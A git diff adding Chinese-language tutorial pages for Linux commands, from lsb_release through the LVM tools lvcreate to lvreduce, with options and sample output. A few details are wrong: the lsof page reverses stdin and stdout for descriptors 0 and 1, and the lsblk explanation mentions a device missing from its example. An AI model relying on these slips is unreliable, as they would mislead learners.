+-d 显示该发行版的描述信息。 +-r 显示当前系统是发行版的具体版本号。 +-c 发行版代号。 +-a 显示上面的所有信息。 +-h 显示帮助信息。 +``` + +如果当前发行版是LSB兼容的,那么`/etc/lsb_release`文件中会包含LSB_VERSION域。这个域的值可以是用冒号隔开的一系列支持的模块。这些模块名是当前版本支持的LSB的模块名。如果当前版本不是LSB兼容的,就不要包含这个域。 + +可选的域包括DISTRIB_ID, DISTRIB_RELEASE, DISTRIB_CODENAME,DISTRIB_DESCRIPTION,它们可以覆盖`/etc/distrib-release`文件中的内容。注:这里的distrib要替换为当前的发行版的名字。如果存在`/etc/lsb-release.d`目录,会在该目录中查找文件名并作为附加的模块版本加在LSB_VERSION前面。文件`/etc/distrib-release`中包含了一些描述信息,用来说明应该分析哪些文件名。 + + 一般的格式是`Distributor release x.x (Codename)`  注意:Debian系统中缺乏相应的描述信息(见`/etc/debian-version`),为了支持Debian系统,大部分信息都被加在了lsb-release文件中。 + +redhat和fedora系统中,还支持一个参数: + +``` +-s, --short 输出简短的描述信息。 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/lsblk.md b/LearnShell/LinuxCommands/lsblk.md new file mode 100644 index 0000000..5be088d --- /dev/null +++ b/LearnShell/LinuxCommands/lsblk.md @@ -0,0 +1,99 @@ +lsblk +=== + +列出块设备信息 + +## 补充说明 + +**lsblk命令** 用于列出所有可用块设备的信息,而且还能显示他们之间的依赖关系,但是它不会列出RAM盘的信息。块设备有硬盘,闪存盘,cd-ROM等等。lsblk命令包含在util-linux-ng包中,现在该包改名为util-linux。这个包带了几个其它工具,如dmesg。要安装lsblk,请在此处下载util-linux包。Fedora用户可以通过命令`sudo yum install util-linux-ng`来安装该包。 + +### 选项 + +``` +-a, --all 显示所有设备。 +-b, --bytes 以bytes方式显示设备大小。 +-d, --nodeps 不显示 slaves 或 holders。 +-D, --discard print discard capabilities。 +-e, --exclude 排除设备 (default: RAM disks)。 +-f, --fs 显示文件系统信息。 +-h, --help 显示帮助信息。 +-i, --ascii use ascii characters only。 +-m, --perms 显示权限信息。 +-l, --list 使用列表格式显示。 +-n, --noheadings 不显示标题。 +-o, --output 输出列。 +-P, --pairs 使用key="value"格式显示。 +-r, --raw 使用原始格式显示。 +-t, --topology 显示拓扑结构信息。 +``` + +### 实例 + +lsblk命令默认情况下将以树状列出所有块设备。打开终端,并输入以下命令: + +``` +lsblk + +NAME MAJ:MIN rm SIZE RO type mountpoint +sda 8:0 0 232.9G 0 disk +├─sda1 8:1 0 46.6G 0 part / +├─sda2 8:2 0 1K 0 part +├─sda5 8:5 0 190M 0 part /boot +├─sda6 8:6 0 3.7G 0 part [SWAP] +├─sda7 8:7 0 93.1G 0 part /data +└─sda8 8:8 0 89.2G 0 part /personal +sr0 11:0 1 1024M 0 rom +``` + +7个栏目名称如下: + +1. **NAME** :这是块设备名。 +2. **MAJ:MIN** :本栏显示主要和次要设备号。 +3. **RM** :本栏显示设备是否可移动设备。注意,在本例中设备sdb和sr0的RM值等于1,这说明他们是可移动设备。 +4. **SIZE** :本栏列出设备的容量大小信息。例如298.1G表明该设备大小为298.1GB,而1K表明该设备大小为1KB。 +5. **RO** :该项表明设备是否为只读。在本案例中,所有设备的RO值为0,表明他们不是只读的。 +6. **TYPE** :本栏显示块设备是否是磁盘或磁盘上的一个分区。在本例中,sda和sdb是磁盘,而sr0是只读存储(rom)。 +7. **MOUNTPOINT** :本栏指出设备挂载的挂载点。 + +默认选项不会列出所有空设备。要查看这些空设备,请使用以下命令: + +``` +lsblk -a +``` + +lsblk命令也可以用于列出一个特定设备的拥有关系,同时也可以列出组和模式。可以通过以下命令来获取这些信息: + +``` +lsblk -m +``` + +该命令也可以只获取指定设备的信息。这可以通过在提供给lsblk命令的选项后指定设备名来实现。例如,你可能对了解以字节显示你的磁盘驱动器大小比较感兴趣,那么你可以通过运行以下命令来实现: + +``` +lsblk -b /dev/sda + +等价于 + +lsblk --bytes /dev/sda +``` + +你也可以组合几个选项来获取指定的输出。例如,你也许想要以列表格式列出设备,而不是默认的树状格式。你可能也对移除不同栏目名称的标题感兴趣。可以将两个不同的选项组合,以获得期望的输出,命令如下: + +``` +lsblk -nl +``` + +要获取SCSI设备的列表,你只能使用-S选项。该选项是大写字母S,不能和-s选项混淆,该选项是用来以颠倒的顺序打印依赖的。 + +``` +lsblk -S +``` + +lsblk列出SCSI设备,而-s是逆序选项(将设备和分区的组织关系逆转过来显示),其将给出如下输出。输入命令: + +``` +lsblk -s +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/lscpu.md b/LearnShell/LinuxCommands/lscpu.md new file mode 100644 index 0000000..00fbf72 --- /dev/null +++ b/LearnShell/LinuxCommands/lscpu.md @@ -0,0 +1,75 @@ +lscpu +=== + +显示有关CPU架构的信息 + +## 补充说明 + +**lscpu命令** 是显示有关CPU架构的信息。 + +### 语法 + +``` +lscpu [选项] +``` + +### 选项 + +``` + -a, --all 打印在线和离线CPU(默认为-e) + -b, --online 仅打印在线CPU(-p的默认值) + -c, --offline 打印离线CPU + -e, --extended[=] 打印出一个扩展的可读格式 + -p, --parse[=] 打印出可解析的格式 + -s, --sysroot 将指定的目录用作系统根目录 + -x, --hex 打印十六进制掩码,而不是CPU列表 + + -h, --help 显示此帮助并退出 + -V, --version 输出版本信息并退出 +``` + +### 参数 + +```bash +可用列: + CPU 逻辑CPU编号 + CORE 逻辑核心号码 + SOCKET 逻辑套接字号 + NODE 逻辑NUMA节点号 + BOOK 逻辑书号 + CACHE 显示了如何在CPU之间共享高速缓存 + POLARIZATION 虚拟硬件上的CPU调度模式 + ADDRESS CPU的物理地址 + CONFIGURED 显示管理程序是否分配了CPU + ONLINE 显示Linux是否正在使用CPU +``` + +### 例子 + +```bash +[root@localhost ~]# lscpu +Architecture: x86_64 +CPU op-mode(s): 32-bit, 64-bit +Byte Order: Little Endian +CPU(s): 4 +On-line CPU(s) list: 0-3 +Thread(s) per core: 1 +Core(s) per socket: 4 +Socket(s): 1 +NUMA node(s): 1 +Vendor ID: GenuineIntel +CPU family: 6 +Model: 30 +Model name: Intel(R) Xeon(R) CPU X3430 @ 2.40GHz +Stepping: 5 +CPU MHz: 2394.055 +BogoMIPS: 4788.11 +Virtualization: VT-x +L1d cache: 32K +L1i cache: 32K +L2 cache: 256K +L3 cache: 8192K +NUMA node0 CPU(s): 0-3 +``` + + diff --git a/LearnShell/LinuxCommands/lsmod.md b/LearnShell/LinuxCommands/lsmod.md new file mode 100644 index 0000000..584216a --- /dev/null +++ b/LearnShell/LinuxCommands/lsmod.md @@ -0,0 +1,103 @@ +lsmod +=== + +显示已载入系统的模块 + +## 补充说明 + +**lsmod命令** 用于显示已经加载到内核中的模块的状态信息。执行lsmod命令后会列出所有已载入系统的模块。Linux操作系统的核心具有模块化的特性,应此在编译核心时,务须把全部的功能都放入核心。您可以将这些功能编译成一个个单独的模块,待需要时再分别载入。 + +### 语法 + +``` +lsmod +``` + +### 实例 + +``` +[root@LinServ-1 ~]# lsmod +Module Size Used by +ipv6 272801 15 +xfrm_nalgo 13381 1 ipv6 +crypto_api 12609 1 xfrm_nalgo +ip_conntrack_ftp 11569 0 +xt_limit 6721 2 +xt_state 6209 2 +ip_conntrack 53665 2 ip_conntrack_ftp,xt_state +nfnetlink 10713 1 ip_conntrack +xt_tcpudp 7105 6 +xt_multiport 7233 1 +iptable_filter 7105 1 +ip_tables 17029 1 iptable_filter +x_tables 17349 5 xt_limit,xt_state,xt_tcpudp,xt_multiport,ip_tables +dm_mirror 24393 0 +dm_multipath 27213 0 +scsi_dh 12481 1 dm_multipath +video 21193 0 +backlight 10049 1 video +sbs 18533 0 +power_meter 16461 0 +hwmon 7365 1 power_meter +i2c_ec 9025 1 sbs +dell_wmi 8401 0 +wmi 12137 1 dell_wmi +button 10705 0 +battery 13637 0 +asus_acpi 19289 0 +ac 9157 0 +lp 15849 0 +snd_hda_intel 401453 0 +snd_seq_dummy 7877 0 +snd_seq_oss 32577 0 +snd_seq_midi_event 11073 1 snd_seq_oss +snd_seq 49585 5 snd_seq_dummy,snd_seq_oss,snd_seq_midi_event +snd_seq_device 11725 3 snd_seq_dummy,snd_seq_oss,snd_seq +snd_pcm_oss 42817 0 +snd_mixer_oss 19009 1 snd_pcm_oss +snd_pcm 72517 2 snd_hda_intel,snd_pcm_oss +ide_cd 40161 0 +snd_timer 24517 2 snd_seq,snd_pcm +tpm_tis 16713 0 +r8169 43077 0 +snd_page_alloc 14281 2 snd_hda_intel,snd_pcm +tpm 19041 1 tpm_tis +i2c_i801 12737 0 +mii 9409 1 r8169 +serio_raw 10693 0 +i2c_core 24897 2 i2c_ec,i2c_i801 +snd_hwdep 12869 1 snd_hda_intel +tpm_bios 11073 1 tpm +cdrom 36577 1 ide_cd +pcspkr 7105 0 +parport_pc 29669 1 +sg 36973 0 +snd 57797 9 snd_hda_intel,snd_seq_oss,snd_seq,snd_seq_device,snd_pcm_oss,snd_mixer_oss,snd_pcm,snd_timer,snd_hwdep +parport 37513 2 lp,parport_pc +soundcore 11553 1 snd +dm_raid45 67273 0 +dm_message 6977 1 dm_raid45 +dm_region_hash 15681 1 dm_raid45 +dm_log 14785 3 dm_mirror,dm_raid45,dm_region_hash +dm_mod 63993 4 dm_mirror,dm_multipath,dm_raid45,dm_log +dm_mem_cache 9537 1 dm_raid45 +ata_piix 23749 4 +libata 158085 1 ata_piix +sd_mod 25409 6 +scsi_mod 144277 4 scsi_dh,sg,libata,sd_mod +ext3 126281 3 +jbd 57705 1 ext3 +uhci_hcd 25421 0 +ohci_hcd 24937 0 +ehci_hcd 34509 0 +``` + +* 第1列:表示模块的名称。 +* 第2列:表示模块的大小。 +* 第3列:表示依赖模块的个数。 +* 第4列:表示依赖模块的内容。 + +通常在使用lsmod命令时,都会采用类似`lsmod | grep -i ext3`这样的命令来查询当前系统是否加载了某些模块。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/lsof.md b/LearnShell/LinuxCommands/lsof.md new file mode 100644 index 0000000..23216ff --- /dev/null +++ b/LearnShell/LinuxCommands/lsof.md @@ -0,0 +1,131 @@ +lsof +=== + +显示Linux系统当前已打开的所有文件列表 + +## 补充说明 + +**lsof命令** 用于查看你进程开打的文件,打开文件的进程,进程打开的端口(TCP、UDP)。找回/恢复删除的文件。是十分方便的系统监视工具,因为lsof命令需要访问核心内存和各种文件,所以需要root用户执行。 + +在linux环境下,任何事物都以文件的形式存在,通过文件不仅仅可以访问常规数据,还可以访问网络连接和硬件。所以如传输控制协议 (TCP) 和用户数据报协议 (UDP) 套接字等,系统在后台都为该应用程序分配了一个文件描述符,无论这个文件的本质如何,该文件描述符为应用程序与基础操作系统之间的交互提供了通用接口。因为应用程序打开文件的描述符列表提供了大量关于这个应用程序本身的信息,因此通过lsof工具能够查看这个列表对系统监测以及排错将是很有帮助的。 + +### 语法 + +``` +lsof(选项) +``` + +### 选项 + +``` +-a:列出打开文件存在的进程; +-c<进程名>:列出指定进程所打开的文件; +-g:列出GID号进程详情; +-d<文件号>:列出占用该文件号的进程; ++d<目录>:列出目录下被打开的文件; ++D<目录>:递归列出目录下被打开的文件; +-n<目录>:列出使用NFS的文件; +-i<条件>:列出符合条件的进程。(4、6、协议、:端口、 @ip ) +-p<进程号>:列出指定进程号所打开的文件; +-u:列出UID号进程详情; +-h:显示帮助信息; +-v:显示版本信息。 +``` + +### 实例 + +``` +lsof +command PID USER FD type DEVICE SIZE NODE NAME +init 1 root cwd DIR 8,2 4096 2 / +init 1 root rtd DIR 8,2 4096 2 / +init 1 root txt REG 8,2 43496 6121706 /sbin/init +init 1 root mem REG 8,2 143600 7823908 /lib64/ld-2.5.so +init 1 root mem REG 8,2 1722304 7823915 /lib64/libc-2.5.so +init 1 root mem REG 8,2 23360 7823919 /lib64/libdl-2.5.so +init 1 root mem REG 8,2 95464 7824116 /lib64/libselinux.so.1 +init 1 root mem REG 8,2 247496 7823947 /lib64/libsepol.so.1 +init 1 root 10u FIFO 0,17 1233 /dev/initctl +migration 2 root cwd DIR 8,2 4096 2 / +migration 2 root rtd DIR 8,2 4096 2 / +migration 2 root txt unknown /proc/2/exe +ksoftirqd 3 root cwd DIR 8,2 4096 2 / +ksoftirqd 3 root rtd DIR 8,2 4096 2 / +ksoftirqd 3 root txt unknown /proc/3/exe +migration 4 root cwd DIR 8,2 4096 2 / +migration 4 root rtd DIR 8,2 4096 2 / +migration 4 root txt unknown /proc/4/exe +ksoftirqd 5 root cwd DIR 8,2 4096 2 / +ksoftirqd 5 root rtd DIR 8,2 4096 2 / +ksoftirqd 5 root txt unknown /proc/5/exe +events/0 6 root cwd DIR 8,2 4096 2 / +events/0 6 root rtd DIR 8,2 4096 2 / +events/0 6 root txt unknown /proc/6/exe +events/1 7 root cwd DIR 8,2 4096 2 / +``` + + **lsof输出各列信息的意义如下:** + +* COMMAND:进程的名称 +* PID:进程标识符 +* PPID:父进程标识符(需要指定-R参数) +* USER:进程所有者 +* PGID:进程所属组 +* FD:文件描述符,应用程序通过文件描述符识别该文件。 + +文件描述符列表: + +1. cwd:表示current work dirctory,即:应用程序的当前工作目录,这是该应用程序启动的目录,除非它本身对这个目录进行更改 +2. txt:该类型的文件是程序代码,如应用程序二进制文件本身或共享库,如上列表中显示的 /sbin/init 程序 +3. lnn:library references (AIX); +4. er:FD information error (see NAME column); +5. jld:jail directory (FreeBSD); +6. ltx:shared library text (code and data); +7. mxx :hex memory-mapped type number xx. +8. m86:DOS Merge mapped file; +9. mem:memory-mapped file; +10. mmap:memory-mapped device; +11. pd:parent directory; +12. rtd:root directory; +13. tr:kernel trace file (OpenBSD); +14. v86  VP/ix mapped file; +15. 0:表示标准输出 +16. 1:表示标准输入 +17. 2:表示标准错误 + +一般在标准输出、标准错误、标准输入后还跟着文件状态模式: + +1. u:表示该文件被打开并处于读取/写入模式。 +2. r:表示该文件被打开并处于只读模式。 +3. w:表示该文件被打开并处于。 +4. 空格:表示该文件的状态模式为unknow,且没有锁定。 +5. -:表示该文件的状态模式为unknow,且被锁定。 + +同时在文件状态模式后面,还跟着相关的锁: + +1. N:for a Solaris NFS lock of unknown type; +2. r:for read lock on part of the file; +3. R:for a read lock on the entire file; +4. w:for a write lock on part of the file;(文件的部分写锁) +5. W:for a write lock on the entire file;(整个文件的写锁) +6. u:for a read and write lock of any length; +7. U:for a lock of unknown type; +8. x:for an SCO OpenServer Xenix lock on part      of the file; +9. X:for an SCO OpenServer Xenix lock on the      entire file; +10. space:if there is no lock. + +文件类型: + +1. DIR:表示目录。 +2. CHR:表示字符类型。 +3. BLK:块设备类型。 +4. UNIX: UNIX 域套接字。 +5. FIFO:先进先出 (FIFO) 队列。 +6. IPv4:网际协议 (IP) 套接字。 +7. DEVICE:指定磁盘的名称 +8. SIZE:文件的大小 +9. NODE:索引节点(文件在磁盘上的标识) +10. NAME:打开文件的确切名称 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/lspci.md b/LearnShell/LinuxCommands/lspci.md new file mode 100644 index 0000000..64f3105 --- /dev/null +++ b/LearnShell/LinuxCommands/lspci.md @@ -0,0 +1,80 @@ +lspci +=== + +显示当前主机的所有PCI总线信息 + +## 补充说明 + +**lspci命令** 用于显示当前主机的所有PCI总线信息,以及所有已连接的PCI设备信息。 + +### 语法 + +``` +lspci(选项) +``` + +### 选项 + +``` +-n:以数字方式显示PCI厂商和设备代码; +-t:以树状结构显示PCI设备的层次关系,包括所有的总线、桥、设备以及它们之间的联接; +-b:以总线为中心的视图; +-d:仅显示给定厂商和设备的信息; +-s:仅显示指定总线、插槽上的设备和设备上的功能块信息; +-i:指定PCI编号列表文件,而不使用默认的文件; +-m:以机器可读方式显示PCI设备信息。 +``` + +### 实例 + +``` +[root@localhost ~]# lspci +00:00.0 host bridge: Intel Corporation 5500 I/O Hub to ESI Port (rev 22) +00:01.0 PCI bridge: Intel Corporation 5520/5500/X58 I/O Hub PCI Express Root Port 1 (rev 22) +00:02.0 PCI bridge: Intel Corporation 5520/5500/X58 I/O Hub PCI Express Root Port 2 (rev 22) +00:03.0 PCI bridge: Intel Corporation 5520/5500/X58 I/O Hub PCI Express Root Port 3 (rev 22) +00:07.0 PCI bridge: Intel Corporation 5520/5500/X58 I/O Hub PCI Express Root Port 7 (rev 22) +00:08.0 PCI bridge: Intel Corporation 5520/5500/X58 I/O Hub PCI Express Root Port 8 (rev 22) +00:09.0 PCI bridge: Intel Corporation 5520/5500/X58 I/O Hub PCI Express Root Port 9 (rev 22) +00:0a.0 PCI bridge: Intel Corporation 5520/5500/X58 I/O Hub PCI Express Root Port 10 (rev 22) +00:10.0 PIC: Intel Corporation 5520/5500/X58 Physical and Link Layer Registers Port 0 (rev 22) +00:10.1 PIC: Intel Corporation 5520/5500/X58 Routing and Protocol Layer Registers Port 0 (rev 22) +00:11.0 PIC: Intel Corporation 5520/5500 Physical and Link Layer Registers Port 1 (rev 22) +00:11.1 PIC: Intel Corporation 5520/5500 Routing & Protocol Layer Register Port 1 (rev 22) +00:14.0 PIC: Intel Corporation 5520/5500/X58 I/O Hub System Management Registers (rev 22) +00:14.1 PIC: Intel Corporation 5520/5500/X58 I/O Hub GPIO and Scratch Pad Registers (rev 22) +00:14.2 PIC: Intel Corporation 5520/5500/X58 I/O Hub Control Status and RAS Registers (rev 22) +00:14.3 PIC: Intel Corporation 5520/5500/X58 I/O Hub Throttle Registers (rev 22) +00:16.0 System peripheral: Intel Corporation 5520/5500/X58 Chipset QuickData Technology Device (rev 22) +00:16.1 System peripheral: Intel Corporation 5520/5500/X58 Chipset QuickData Technology Device (rev 22) +00:16.2 System peripheral: Intel Corporation 5520/5500/X58 Chipset QuickData Technology Device (rev 22) +00:16.3 System peripheral: Intel Corporation 5520/5500/X58 Chipset QuickData Technology Device (rev 22) +00:16.4 System peripheral: Intel Corporation 5520/5500/X58 Chipset QuickData Technology Device (rev 22) +00:16.5 System peripheral: Intel Corporation 5520/5500/X58 Chipset QuickData Technology Device (rev 22) +00:16.6 System peripheral: Intel Corporation 5520/5500/X58 Chipset QuickData Technology Device (rev 22) +00:16.7 System peripheral: Intel Corporation 5520/5500/X58 Chipset QuickData Technology Device (rev 22) +00:1a.0 USB controller: Intel Corporation 82801JI (ICH10 Family) USB UHCI Controller #4 +00:1a.1 USB controller: Intel Corporation 82801JI (ICH10 Family) USB UHCI Controller #5 +00:1a.7 USB controller: Intel Corporation 82801JI (ICH10 Family) USB2 EHCI Controller #2 +00:1b.0 Audio device: Intel Corporation 82801JI (ICH10 Family) HD Audio Controller +00:1c.0 PCI bridge: Intel Corporation 82801JI (ICH10 Family) PCI Express Root Port 1 +00:1c.4 PCI bridge: Intel Corporation 82801JI (ICH10 Family) PCI Express Root Port 5 +00:1c.5 PCI bridge: Intel Corporation 82801JI (ICH10 Family) PCI Express Root Port 6 +00:1d.0 USB controller: Intel Corporation 82801JI (ICH10 Family) USB UHCI Controller #1 +00:1d.1 USB controller: Intel Corporation 82801JI (ICH10 Family) USB UHCI Controller #2 +00:1d.2 USB controller: Intel Corporation 82801JI (ICH10 Family) USB UHCI Controller #3 +00:1d.3 USB controller: Intel Corporation 82801JI (ICH10 Family) USB UHCI Controller #6 +00:1d.7 USB controller: Intel Corporation 82801JI (ICH10 Family) USB2 EHCI Controller #1 +00:1e.0 PCI bridge: Intel Corporation 82801 PCI Bridge (rev 90) +00:1f.0 ISA bridge: Intel Corporation 82801JIR (ICH10R) lpc Interface Controller +00:1f.2 IDE interface: Intel Corporation 82801JI (ICH10 Family) 4 port SATA IDE Controller #1 +00:1f.3 SMBus: Intel Corporation 82801JI (ICH10 Family) SMBus Controller +00:1f.5 IDE interface: Intel Corporation 82801JI (ICH10 Family) 2 port SATA IDE Controller #2 +01:01.0 VGA compatible controller: ASPEED Technology, Inc. ASPEED Graphics Family (rev 10) +02:00.0 Ethernet controller: Intel Corporation 82574L Gigabit Network Connection +03:00.0 Ethernet controller: Intel Corporation 82574L Gigabit Network Connection +04:00.0 Serial Attached SCSI controller: LSI Logic / Symbios Logic SAS2008 PCI-Express Fusion-MPT SAS-2 [Falcon] (rev 03) +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/lsusb.md b/LearnShell/LinuxCommands/lsusb.md new file mode 100644 index 0000000..731522c --- /dev/null +++ b/LearnShell/LinuxCommands/lsusb.md @@ -0,0 +1,75 @@ +lsusb +=== + +显示本机的USB设备列表信息 + +## 补充说明 + +**lsusb命令** 用于显示本机的USB设备列表,以及USB设备的详细信息。 + +lsusb命令是一个学习USB驱动开发,认识USB设备的助手,推荐大家使用,如果您的开发板中或者产品中没有lsusb命令可以自己移植一个,放到文件系统里面。 + +### 语法 + +``` +lsusb(选项) +``` + +### 选项 + +``` +-v:显示USB设备的详细信息; +-s<总线:设备号>仅显示指定的总线和(或)设备号的设备; +-d<厂商:产品>:仅显示指定厂商和产品编号的设备; +-t:以树状结构显示无理USB设备的层次; +-V:显示命令的版本信息。 +``` + +### 实例 + +插入usb鼠标后执行lsusb的输出内容如下: + +``` +Bus 005 Device 001: id 0000:0000 +Bus 001 Device 001: ID 0000:0000 +Bus 004 Device 001: ID 0000:0000 +Bus 003 Device 001: ID 0000:0000 +Bus 002 Device 006: ID 15d9:0a37 +Bus 002 Device 001: ID 0000:0000 +``` + +解释: + + **Bus 005** + +表示第五个usb主控制器(机器上总共有5个usb主控制器 -- 可以通过命令lspci | grep USB查看) + + **Device 006** + +表示系统给usb鼠标分配的设备号(devnum),同时也可以看到该鼠标是插入到了第二个usb主控制器 + +``` +006 usb_device.devnum +/sys/devices/pci0000:00/0000:00:1d.1/usb2/2-2/devnum +``` + + **ID 15d9:0a37** + +表示usb设备的ID(这个ID由芯片制造商设置,可以唯一表示该设备) + +``` +15d9 usb_device_descriptor.idVendor +0a37 usb_device_descriptor.idProduct +/sys/devices/pci0000:00/0000:00:1d.1/usb2/2-2/idVendor +``` + +**Bus 002 Device 006: ID 15d9:0a37 +Bus 002 Device 001: ID 0000:0000** + +表示002号usb主控制器上接入了两个设备: + +* 一个是usb根Hub -- 001  +* 一个是usb鼠标  -- 006 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/ltrace.md b/LearnShell/LinuxCommands/ltrace.md new file mode 100644 index 0000000..f5e27ba --- /dev/null +++ b/LearnShell/LinuxCommands/ltrace.md @@ -0,0 +1,88 @@ +ltrace +=== + +用来跟踪进程调用库函数的情况 + +## 补充说明 + +**ltrace命令** 是用来跟踪进程调用库函数的情况。 + +### 语法 + +``` +ltrace [option ...] [command [arg ...]] +``` + +### 选项 + +``` +-a 对齐具体某个列的返回值。 +-c 计算时间和调用,并在程序退出时打印摘要。 +-C 解码低级别名称(内核级)为用户级名称。 +-d 打印调试信息。 +-e 改变跟踪的事件。 +-f 跟踪子进程。 +-h 打印帮助信息。 +-i 打印指令指针,当库调用时。 +-l 只打印某个库中的调用。 +-L 不打印库调用。 +-n, --indent=NR 对每个调用级别嵌套以NR个空格进行缩进输出。 +-o, --output=file 把输出定向到文件。 +-p PID 附着在值为PID的进程号上进行ltrace。 +-r 打印相对时间戳。 +-s STRLEN 设置打印的字符串最大长度。 +-S 显示系统调用。 +-t, -tt, -ttt 打印绝对时间戳。 +-T 输出每个调用过程的时间开销。 +-u USERNAME 使用某个用户id或组ID来运行命令。 +-V, --version 打印版本信息,然后退出。 +-x NAME treat the global NAME like a library subroutine.(求翻译) +``` + +### 实例 + +最基本应用,不带任何参数: + +``` +[guest@localhost tmp]$ ltrace ./a.out +__libc_start_main(0x80484aa, 1, 0xbfc07744, 0x8048550, 0x8048540 +printf("no1:%d \t no2:%d \t diff:%d\n", 10, 6, 4no1:10 no2:6 diff:4 ) = 24 +printf("no1:%d \t no2:%d \t diff:%d\n", 9, 7, 2no1:9 no2:7 diff:2 ) = 23 +printf("no1:%d \t no2:%d \t diff:%d\n", 8, 8, 0no1:8 no2:8 diff:0 ) = 23 +--- SIGFPE (Floating point exception) --- ++++ killed by SIGFPE +++ +``` + +输出调用时间开销: + +``` +[guest@localhost tmp]$ ltrace -T ./a.out +__libc_start_main(0x80484aa, 1, 0xbf81d394, 0x8048550, 0x8048540 +printf("no1:%d \t no2:%d \t diff:%d\n", 10, 6, 4no1:10 no2:6 diff:4 ) = 24 <0.000972> +printf("no1:%d \t no2:%d \t diff:%d\n", 9, 7, 2no1:9 no2:7 diff:2 ) = 23 <0.000155> +printf("no1:%d \t no2:%d \t diff:%d\n", 8, 8, 0no1:8 no2:8 diff:0 ) = 23 <0.000153> +--- SIGFPE (Floating point exception) --- ++++ killed by SIGFPE +++ +``` + +显示系统调用: + +``` +[guest@localhost tmp]$ ltrace -S ./a.out +SYS_brk(NULL) = 0x9e20000 +SYS_access(0xa4710f, 4, 0xa4afc0, 0, 0xa4b644) = 0 +SYS_open("/etc/ld.so.preload", 0, 02) = 3 +SYS_fstat64(3, 0xbfbd7a94, 0xa4afc0, -1, 3) = 0 +SYS_mmap2(0, 17, 3, 2, 3) = 0xb7f2a000 +SYS_close(3) = 0 +SYS_open("/lib/libcwait.so", 0, 00) = 3 +SYS_read(3, "\177ELF\001\001\001", 512) = 512 +SYS_fstat64(3, 0xbfbd76fc, 0xa4afc0, 4, 0xa4b658) = 0 +SYS_mmap2(0, 4096, 3, 34, -1) = 0xb7f29000 +SYS_mmap2(0, 5544, 5, 2050, 3) = 0x423000 +SYS_mmap2(0x424000, 4096, 3, 2066, 3) = 0x424000 +.............省去若干行 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/lvcreate.md b/LearnShell/LinuxCommands/lvcreate.md new file mode 100644 index 0000000..d8de41b --- /dev/null +++ b/LearnShell/LinuxCommands/lvcreate.md @@ -0,0 +1,44 @@ +lvcreate +=== + +用于创建LVM的逻辑卷 + +## 补充说明 + +**lvcreate命令** 用于创建LVM的逻辑卷。逻辑卷是创建在卷组之上的。逻辑卷对应的设备文件保存在卷组目录下,例如:在卷组"vg1000"上创建一个逻辑卷"lvol0",则此逻辑卷对应的设备文件为"/dev/vg1000/lvol0"。 + +### 语法 + +``` +lvcreate(选项)(参数) +``` + +### 选项 + +``` +-L:指定逻辑卷的大小,单位为“kKmMgGtT”字节; +-l:指定逻辑卷的大小(LE数)。 +``` + +### 参数 + +逻辑卷:指定要创建的逻辑卷名称。 + +### 实例 + +使用lvcreate命令在卷组"vg1000"上创建一个200MB的逻辑卷。在命令行中输入下面的命令: + +``` +[root@localhost ~]# lvcreate -L 200M vg1000 #创建大小为200M的逻辑卷 +``` + +输出信息如下: + +``` +Logical volume "lvol0" created +``` + +说明:创建成功后,新的逻辑卷"lvol0",将通过设备文件`/dev/vg1000/lvol0`进行访问。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/lvdisplay.md b/LearnShell/LinuxCommands/lvdisplay.md new file mode 100644 index 0000000..d4cb3e8 --- /dev/null +++ b/LearnShell/LinuxCommands/lvdisplay.md @@ -0,0 +1,38 @@ +lvdisplay +=== + +显示逻辑卷属性 + +## 补充说明 + +**lvdisplay命令** 用于显示LVM逻辑卷空间大小、读写状态和快照信息等属性。如果省略"逻辑卷"参数,则lvdisplay命令显示所有的逻辑卷属性。否则,仅显示指定的逻辑卷属性。 + +### 语法 + +``` +lvdisplay(参数) +``` + +### 参数 + +逻辑卷:指定要显示属性的逻辑卷对应的设备文件。 + +### 实例 + +使用lvdisplay命令显示指定逻辑卷的属性。在命令行中输入下面的命令: + +``` +[root@localhost ~]# lvdisplay /dev/vg1000/lvol0 #显示逻辑卷属性 +``` + +输出信息如下: + +``` + --- Logical volume --- + LV Name /dev/vg1000/lvol0 +......省略部分输出内容...... + Block device 253:0 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/lvextend.md b/LearnShell/LinuxCommands/lvextend.md new file mode 100644 index 0000000..4c8a379 --- /dev/null +++ b/LearnShell/LinuxCommands/lvextend.md @@ -0,0 +1,43 @@ +lvextend +=== + +扩展逻辑卷空间 + +## 补充说明 + +**lvextend命令** 用于在线扩展逻辑卷的空间大小,而不中断应用程序对逻辑卷的访问。使用lvextend命令动态在线扩展磁盘空间,整个空间扩展过程对于应用程序来说是完全透明的。 + +### 语法 + +``` +lvextend(选项)(参数) +``` + +### 选项 + +``` +-L:指定逻辑卷的大小,单位为“kKmMgGtT”字节; +-l:指定逻辑卷的大小(LE数)。 +``` + +### 参数 + +逻辑卷:指定要扩展空间的逻辑卷。 + +### 实例 + +使用lvextend命令为逻辑卷`/dev/vg1000/lvol0`增加100M空间。在命令行中输入下面的命令: + +``` +[root@localhost ~]# lvextend -L +100M /dev/vg1000/lvol0 #为了解决增加100M空间 +``` + +输出信息如下: + +``` +Extending logical volume lvol0 to 300.00 MB +Logical volume lvol0 successfully resized +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/lvreduce.md b/LearnShell/LinuxCommands/lvreduce.md new file mode 100644 index 0000000..78679cc --- /dev/null +++ b/LearnShell/LinuxCommands/lvreduce.md @@ -0,0 +1,45 @@ +lvreduce +=== + +收缩逻辑卷空间 + +## 补充说明 + +**lvreduce命令** 用于减少LVM逻辑卷占用的空间大小。使用lvreduce命令收缩逻辑卷的空间大小有可能会删除逻辑卷上已有的数据,所以在操作前必须进行确认。 + +### 语法 + +``` +lvreduce(选项)(参数) +``` + +### 选项 + +``` +-L:指定逻辑卷的大小,单位为“kKmMgGtT”字节; +-l:指定逻辑卷的大小(LE数)。 +``` + +### 参数 + +逻辑卷:指定要操作的逻辑卷对应的设备文件。 + +### 实例 + +使用lvreduce命令减少指定的逻辑卷的空间大小。在命令行中输入下面的命令: + +``` +[root@localhost ~]# lvreduce -L -50M /dev/vg1000/lvol0 #将逻辑卷的空间大小减少50M 